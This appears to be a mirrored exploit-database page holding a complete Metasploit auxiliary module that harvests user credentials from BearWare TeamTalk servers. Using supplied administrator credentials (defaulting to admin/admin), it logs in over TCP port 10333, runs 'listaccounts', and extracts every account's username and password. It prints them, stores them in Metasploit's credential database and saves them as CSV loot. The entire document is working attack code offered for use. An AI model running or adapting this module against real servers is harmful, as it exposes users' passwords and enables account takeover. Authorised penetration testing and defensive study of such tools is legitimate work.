Share
## https://sploitus.com/exploit?id=PACKETSTORM:180696
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TeamTalk Gather Credentials',  
'Description' => %q{  
This module retrieves user credentials from BearWare TeamTalk.  
  
Valid administrator credentials are required.  
  
This module has been tested successfully on TeamTalk versions  
5.2.2.4885 and 5.2.3.4893.  
},  
'Author' => 'bcoles',  
'References' =>  
[  
# Protocol documentation  
['URL', 'https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php']  
],  
'License' => MSF_LICENSE))  
register_options [  
Opt::RPORT(10333),  
OptString.new('USERNAME', [true, 'The username for TeamTalk', 'admin']),  
OptString.new('PASSWORD', [true, 'The password for the specified username', 'admin'])  
]  
end  
  
def run  
vprint_status 'Connecting...'  
  
connect  
banner = sock.get_once  
  
unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/  
fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'  
end  
  
print_status "Found TeamTalk (protocol version #{$1})"  
  
report_service :host => rhost,  
:port => rport,  
:proto => 'tcp',  
:name => 'teamtalk'  
  
vprint_status "Authenticating as '#{username}'"  
  
req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""  
res = send_command req  
  
unless res.to_s.starts_with? 'accepted'  
fail_with Failure::NoAccess, 'Authentication failed'  
end  
  
print_good 'Authenticated successfully'  
  
if res =~ /usertype=2/  
print_good 'User is an administrator'  
else  
print_warning 'User is not an administrator'  
end  
  
vprint_status "Retrieving users..."  
  
res = send_command 'listaccounts'  
  
if res =~ /^error/ && res =~ /message="Command not authorized"/  
print_error 'Insufficient privileges'  
return  
end  
  
unless res =~ /^ok\r?\n?\z/  
print_error 'Unexpected reply'  
return  
end  
  
cred_table = Rex::Text::Table.new 'Header' => 'TeamTalk User Credentials',  
'Indent' => 1,  
'Columns' => ['Username', 'Password', 'Type']  
  
res.each_line do |line|  
line.chomp!  
next unless line =~ /^useraccount/  
  
user = line.scan(/\s+username="(.*?)"\s+password=/).flatten.first.to_s.gsub('\"', '"')  
pass = line.scan(/\s+password="(.*?)"\s+usertype=/).flatten.first.to_s.gsub('\"', '"')  
type = line.scan(/\s+usertype=(\d+)\s+/).flatten.first  
  
cred_table << [ user, pass, type ]  
report_cred user: user,  
password: pass,  
type: type,  
proof: line  
end  
  
if cred_table.rows.empty?  
print_error 'Did not find any users'  
return  
end  
  
print_status "Found #{cred_table.rows.size} users"  
print_line  
print_line cred_table.to_s  
  
p = store_loot 'teamtalk.user.creds',  
'text/csv',  
rhost,  
cred_table.to_csv,  
'TeamTalk User Credentials'  
  
print_good "Credentials saved in: #{p}"  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
print_error e.message  
ensure  
disconnect  
end  
  
private  
  
def username  
datastore['USERNAME'] || ''  
end  
  
def password  
datastore['PASSWORD'] || ''  
end  
  
def report_cred(opts)  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'teamtalk',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge service_data  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
access_level: opts[:type],  
proof: opts[:proof]  
}.merge service_data  
  
create_credential_login login_data  
end  
  
def send_command(cmd = '')  
cmd_id = rand(1000)  
sock.put "#{cmd} id=#{cmd_id}\n"  
  
res = ''  
timeout = 15  
Timeout.timeout(timeout) do  
res << sock.get_once until res =~ /^end id=#{cmd_id}/  
end  
  
res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first  
rescue Timeout::Error  
print_error "Timeout (#{timeout} seconds)"  
rescue => e  
print_error e.message  
end  
end